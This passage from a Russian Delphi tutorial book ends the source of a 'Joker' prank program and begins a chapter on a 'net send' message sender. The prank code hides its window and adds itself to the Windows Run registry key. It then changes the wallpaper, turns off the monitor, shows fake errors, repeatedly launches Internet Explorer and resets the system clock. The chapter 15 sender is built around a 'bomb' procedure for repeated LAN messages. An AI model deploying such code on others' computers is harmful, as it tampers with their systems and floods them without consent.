Delphi. Учимся на примерах

 for i:=1 to endval do begin
 Finds:= FindNext(fn); // …ищем другие рисунки
 //выбираем любой другой рисунок и делаем его фоновым
 if i = endval – 3 then SetWallpaper(fn.Name, False);
 end;
 end;
 FindClose(fn); //завершаем поиск
 end;
7: begin //Выключить монитор

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);

 end;
 8: begin //Сообщение об "ошибке"
 for i:=1 to 200 do begin
 case i of
 //после каждого 25-го числа – перенос на новую строку
 25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;
 end;
 //текст "ошибки"
 err_str:= err_str + IntToStr(Random(99999));
 end;
 MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение
 end;
 9: begin //Запуск Internet Explorer
 for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.
 ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +
 'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);
 end;
 10: begin //Перевести время
 GetLocalTime(tm); //узнаем текущую дату и время
 tm.wYear:= 2000; //устанавливаем год
 tm.wMonth:= 01; //месяц
 tm.wDay:= 01; //день
 tm.wHour:= 0; //часы
 tm.wMinute:= 0; //минуты
 tm.wSecond := 1; //секунды
 tm.wMilliseconds := 0; //мс
 SetLocalTime(tm); //устанавливаем новую дату и время
 end;
 end;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
 Form1.Hide; //прячем форму
end;

procedure TForm1.FormCreate(Sender: TObject);
var
 reg:TRegistry;//переменная для работы с реестром
 path: string;//содержит путь к нашей программе
begin
Randomize; //генератор случайных чисел
 //узнаем путь к программе и ее имя
 path:= Application.EXEname;
 reg:= TRegistry.Create;//открываем реестр
 //ветка текущего пользователя
 reg.RootKey:= HKEY_CURRENT_USER;
 //открываем раздел автозагрузки
 if reg.OpenKey('\Software\Microsoft\Windows\' +
 'CurrentVersion\Run', True)
 then begin
 //записываем ссылку на нашу программу в автозагрузку
 reg.WriteString('Joker', path);
 reg.CloseKey;//закрываем реестр
 reg.Free;//освобождаем память
 end;
end;

end.

⊚ Все файлы проекта и исполняемый файл рассмотренной программы находятся на прилагаемом к книге компакт-диске в папке Chapter_14.

Глава 15 Отправка сообщений в локальной сети

Постановка задачи

Разработать программу, которая будет предоставлять интерфейс для использования стандартной для Win2000/XP команды передачи сообщений net send. Дать возможность указать пользователю адрес получателя, текст сообщения и количество отправляемых сообщений. Также предусмотреть возможность установки блокировки на получение сообщений от других компьютеров.

Разработка формы

Создайте новый проект Delphi. Измените заголовок формы (свойство Caption) на Net Sender. Разместите вдоль левого края формы один над другим три компонента Label категории Standard и присвойте их свойству Caption значения IP-адрес:, Сообщение: И Количество:.

Рядом с каждой из меток разместите по компоненту Edit категории Standard. Самый верхний назовите ip (свойство Name), а свойству Text присвойте значение 192.168.0.1.; среднее поле назовите txt, а свойству Text присвойте какой-либо текст сообщения по умолчанию; самое нижнее поле назовите how, а свойству Text присвойте значение 1.

Под перечисленными компонентами разместите компонент Checkbox категории Standard. Присвойте ему имя secure, свойству Caption присвойте значение Отключить прием сообщений, а свойству Checked — значение True.

В самом низу формы разместите кнопку (компонент Button категории Standard), присвоив ее свойству Caption значение Send. Также нам понадобится таймер (компонент Timer категории System), для которого свойству Interval следует присвоить значение 10.

Полученная форма должна соответствовать рис. 15.1.

Рис. 15.1. Форма для программы отправки сообщений в локальной сети

Разработка программного кода

Прежде всего напишем собственную процедуру bomb, которая будет считывать все настройки и отправлять сообщение. Объявите эту процедуру как закрытый член класса формы:

type
 TForm1 = class(TForm)